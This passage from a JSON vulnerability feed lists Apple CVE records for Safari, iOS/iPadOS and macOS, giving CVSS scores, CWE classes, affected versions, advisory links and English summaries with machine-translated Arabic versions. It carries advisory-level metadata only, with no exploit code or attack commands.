معالجة محتوى ويب مصمم بنية خبيثة إلى تنفيذ أوامر عشوائية."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149524","advisory"],["https://support.apple.com/en-us/149525","advisory"],["https://support.apple.com/en-us/149526","advisory"],["https://support.apple.com/en-us/149527","advisory"]],"epss":0.0059,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-safari"},{"id":"CVE-2026-112651","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:58Z","product":"Apple Safari","affected":[[" – <27.2","27.2"],[" – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A use-after-free issue was addressed with improved memory management.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة."},"summary":{"en":"A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 27.2, iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, visionOS 27.2. Processing maliciously crafted web content may lead to arbitrary code execution.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة. تم إصلاح هذه المشكلة في Safari 27.2، وiOS 26.7.2 وiPadOS 26.7.2، وiOS 27.2 وiPadOS 27.2، وmacOS Golden Gate 27.2، وvisionOS 27.2. قد تؤدي معالجة محتوى ويب مصوغ بشكل خبيث إلى تنفيذ شيفرة عشوائية."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149526","advisory"],["https://support.apple.com/en-us/149527","advisory"]],"epss":0.0054,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-safari"},{"id":"CVE-2026-112637","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:57Z","product":"Apple Safari","affected":[[" – <27.2","27.2"],["0 – <27.2","27.2"]],"title":{"en":"A use-after-free issue was addressed with improved memory management.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة."},"summary":{"en":"A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 27.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. Processing maliciously crafted web content may lead to arbitrary code execution.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة. تم إصلاح هذه المشكلة في Safari 27.2، وiOS 27.2 وiPadOS 27.2، وmacOS Golden Gate 27.2، وtvOS 27.2، وvisionOS 27.2، وwatchOS 27.2. قد تؤدي معالجة محتوى ويب مصوغ بشكل خبيث إلى تنفيذ شيفرة عشوائية."},"refs":[["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149524","advisory"],["https://support.apple.com/en-us/149525","advisory"],["https://support.apple.com/en-us/149526","advisory"],["https://support.apple.com/en-us/149527","advisory"]],"epss":0.0054,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-safari"},{"id":"CVE-2026-112639","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:57Z","product":"Apple Safari","affected":[["0 – <27.2","27.2"],["0 – <26.7.2","26.7.2"],[" – <27.2","27.2"],[" – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A use-after-free issue was addressed with improved memory management.","ar":"معالجة مشكلة استخدام الذاكرة بعد تحريرها عبر تحسين إدارة الذاكرة."},"summary":{"en":"A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 27.2, iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, visionOS 27.2. Processing maliciously crafted web content may lead to arbitrary code execution.","ar":"معالجة مشكلة استخدام الذاكرة بعد تحريرها عبر تحسين إدارة الذاكرة. تم إصلاح هذه الثغرة في Safari 27.2 وiOS 26.7.2 وiPadOS 26.7.2 وiOS 27.2 وiPadOS 27.2 وmacOS Golden Gate 27.2 وvisionOS 27.2. قد تؤدي معالجة محتوى شبكي مُصمم بنية خبيثة إلى تنفيذ شيفرة عشوائية."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149526","advisory"],["https://support.apple.com/en-us/149527","advisory"]],"epss":0.0055,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-safari"},{"id":"CVE-2026-112623","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:55Z","product":"Apple Safari","affected":[[" – <27.2","27.2"],[" – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A use-after-free issue was addressed with improved memory management.","ar":"معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة."},"summary":{"en":"A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 27.2, iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, visionOS 27.2. Processing maliciously crafted web content may lead to arbitrary code execution.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة. تم إصلاح هذه المشكلة في الإصدارات Safari 27.2 و iOS 26.7.2 و iPadOS 26.7.2 و iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و visionOS 27.2. قد تؤدي معالجة محتوى وُب مصمم بشكل خبيث إلى تنفيذ أوامر عن بُعد."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149526","advisory"],["https://support.apple.com/en-us/149527","advisory"]],"epss":0.0054,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-safari"},{"id":"CVE-2026-112626","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:55Z","product":"Apple Safari","affected":[[" – <27.2","27.2"],[" – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"],["0 – <27.2","27.2"],["0 – <26.7.2","26.7.2"]],"title":{"en":"A use-after-free issue was addressed with improved memory management.","ar":"معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة."},"summary":{"en":"A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 27.2, iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. Processing maliciously crafted web content may lead to arbitrary code execution.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة. تم إصلاح هذه المشكلة في الإصدارات Safari 27.2 و iOS 26.7.2 و iPadOS 26.7.2 و iOS 27.2 و iPadOS 27.2 و macOS Golden Gate 27.2 و tvOS 27.2 و visionOS 27.2 و watchOS 27.2. قد تؤدي معالجة محتوى وُب مصمم بشكل خبيث إلى تنفيذ أوامر عن بُعد."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149524","advisory"],["https://support.apple.com/en-us/149525","advisory"],["https://support.apple.com/en-us/149526","advisory"],["https://support.apple.com/en-us/149527","advisory"]],"epss":0.0058,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-safari"},{"id":"CVE-2026-112622","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:55Z","product":"Apple iOS and iPadOS","affected":[["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds read was addressed with improved bounds checking.","ar":"تمت معالجة قراءة خارج الحدود (out-of-bounds read) من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Tahoe 26.7.2. An attacker in radio range may be able to cause unexpected system termination.","ar":"تمت معالجة قراءة خارج الحدود (out-of-bounds read) من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في iOS 26.7.2 وiPadOS 26.7.2 وiOS 27.2 وiPadOS 27.2 وmacOS Golden Gate 27.2 وmacOS Tahoe 26.7.2. قد يتمكن مهاجم يتواجد في نطاق الراديو من التسبب في إنهاء غير متوقع للنظام."},"refs":[["https://support.apple.com/en-us/149227","ref"],["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112625","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-191","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:55Z","product":"Apple iOS and iPadOS","affected":[["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["0 – <15.8.2","15.8.2"]],"title":{"en":"An integer underflow was addressed with improved input validation.","ar":"تمت معالجة نقص في التدفق العدد الصحيح من خلال تحسين التحقق من صحة المدخلات."},"summary":{"en":"An integer underflow was addressed with improved input validation. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. Processing a maliciously crafted image may result in memory corruption.","ar":"تمت معالجة نقص في التدفق العدد الصحيح من خلال تحسين التحقق من صحة المدخلات. تم إصلاح هذه المشكلة في الإصدارات iOS 26.7.2 وiPadOS 26.7.2، وiOS 27.2 وiPadOS 27.2، وmacOS Golden Gate 27.2، وmacOS Sequoia 15.8.2، وmacOS Tahoe 26.7.2. قد تؤدي معالجة صورة مصممة خبيثًا إلى تلف الذاكرة."},"refs":[["https://support.apple.com/en-us/149227","ref"],["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112552","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:48Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved bounds checking.","ar":"تمت معالجة مشكلة الكتابة خارج الحدود من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An attacker with control of a network file server may be able to cause unexpected system termination.","ar":"تمت معالجة مشكلة الكتابة خارج الحدود من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في الإصدارات macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2. قد يتمكن المهاجم الذي سيطر على خادم ملفات شبكي من التسبب في إنهاء النظام بشكل غير متوقع."},"refs":[["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112548","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:47Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A use after free issue was addressed with improved memory management.","ar":"معالجة مشكلة استخدام الذاكرة بعد تحريرها (use after free) من خلال تحسين إدارة الذاكرة."},"summary":{"en":"A use after free issue was addressed with improved memory management. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to gain root privileges.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2. قد يتمكن أحد التطبيقات من اكتساب صلاحيات root."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112545","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:47Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A parsing issue in the handling of directory paths was addressed with improved path validation.","ar":"تمت معالجة مشكلة تحليل في التعامل مع مسارات الدلائل من خلال تحسين التحقق من صحة المسار."},"summary":{"en":"A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to gain root privileges.","ar":"تمت معالجة مشكلة تحليل في التعامل مع مسارات الدلائل من خلال تحسين التحقق من صحة المسار. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2. قد يتمكن تطبيق ما من اكتساب صلاحيات root."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112536","cvss":7.7,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:46Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved bounds checking.","ar":"تمت معالجة مشكلة كتابة خارج حدود الذاكرة من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to cause unexpected system termination or write kernel memory.","ar":"تمت معالجة مشكلة كتابة خارج حدود الذاكرة من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في الإصدارات macOS Golden Gate 27.2 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2. قد يتمكن تطبيق ما من التسبب في إنهاء غير متوقع للنظام أو كتابة ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112529","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:45Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds read was addressed with improved bounds checking.","ar":"تمت معالجة القراءة خارج الحدود من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to cause unexpected system termination.","ar":"تمت معالجة القراءة خارج الحدود من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في الإصدارات macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2. قد تتمكن أي تطبيق من التسبب في إنهاء النظام بشكل غير متوقع."},"refs":[["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112525","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:44Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds read was addressed with improved bounds checking.","ar":"تمت معالجة عملية قراءة خارج حدود الذاكرة من خلال تحسين فحص الحدود."},"summary":{"en":"An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to cause unexpected system termination or read kernel memory.","ar":"تمت معالجة عملية قراءة خارج حدود الذاكرة من خلال تحسين فحص الحدود. تم إصلاح هذه المشكلة في الإصدارات macOS Golden Gate 27.2 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2. قد يتسبب التطبيق في إنهاء غير متوقع للنظام أو قراءة ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112510","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:42Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],[" – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved bounds checking.","ar":"معالجة مشكلة كتابة خارج الحدود عبر تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. A remote attacker may be able to cause a denial-of-service.","ar":"معالجة مشكلة كتابة خارج الحدود عبر تحسين التحقق من الحدود. تم إصلاح هذه الثغرة في macOS Golden Gate 27.2 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2. قد يتمكن مهاجم عن بُعد من التسبب في حجب الخدمة."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0075,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112495","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:40Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds read was addressed with improved bounds checking.","ar":"تمت معالجة القراءة خارج الحدود من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to cause unexpected system termination or read kernel memory.","ar":"تمت معالجة القراءة خارج الحدود من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في الإصدارات macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2. قد تتمكن أي تطبيق من التسبب في إنهاء النظام بشكل غير متوقع أو قراءة ذاكرة النواة."},"refs":[["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112487","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:39Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A path handling issue was addressed with improved validation.","ar":"تم معالجة مشكلة في معالجة المسارات من خلال التحقق المحسن."},"summary":{"en":"A path handling issue was addressed with improved validation. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to gain root privileges.","ar":"تم معالجة مشكلة في معالجة المسارات من خلال التحقق المحسن. تم حل هذه المشكلة في macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2. قد يتمكن أحد التطبيقات من الحصول على صلاحيات الجذر."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112486","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:39Z","product":"Apple iOS and iPadOS","affected":[["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],["0 – <15.8.2","15.8.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved bounds checking.","ar":"ثغرة ذاكرة في Apple iOS and iPadOS"},"summary":{"en":"An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, visionOS 27.2. Processing a 3D model may lead to unexpected app termination.","ar":"An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, visionOS 27.2. Processing a 3D model may lead to unexpected app termination."},"refs":[["https://support.apple.com/en-us/149227","ref"],["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"],["https://support.apple.com/en-us/149526","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112473","cvss":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:37Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"An authorization issue was addressed with improved state management.","ar":"تمت معالجة مشكلة تخويل من خلال تحسين إدارة الحالة."},"summary":{"en":"An authorization issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An attacker with the legacy VNC password for Screen Sharing may be able to copy files to the Mac.","ar":"تمت معالجة مشكلة تخويل من خلال تحسين إدارة الحالة. تم إصلاح هذه المشكلة في الإصدارات macOS Golden Gate 27.2 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2. قد يتمكن مهاجم يملك كلمة المرور القديمة لبرنامج VNC الخاصة بمشاركة الشاشة (Screen Sharing) من نسخ الملفات إلى جهاز Mac."},"refs":[["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112461","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:36Z","product":"Apple Ipados","affected":[[" – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"],["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],[" – <27.2","27.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved bounds checking.","ar":"ثغرة ذاكرة في Apple Ipados"},"summary":{"en":"An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, visionOS 27.2. Processing a maliciously crafted 3D model may lead to memory corruption.","ar":"An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, visionOS 27.2. Processing a maliciously crafted 3D model may lead to memory corruption."},"refs":[["https://support.apple.com/en-us/149227","advisory"],["https://support.apple.com/en-us/149230","advisory"],["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"],["https://support.apple.com/en-us/149526","advisory"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"apple-ipados"},{"id":"CVE-2026-112464","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T21:17:36Z","product":"Apple Ipados","affected":[[" – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"],["15.0 – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],[" – <27.2","27.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved input validation.","ar":"تمت معالجة مشكلة الكتابة خارج الحدود من خلال تحسين التحقق من المدخلات."},"summary":{"en":"An out-of-bounds write issue was addressed with improved input validation. This issue is fixed in iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, tvOS 27.2, visionOS 27.2. Processing a maliciously crafted file may lead to heap corruption.","ar":"تمت معالجة مشكلة الكتابة خارج 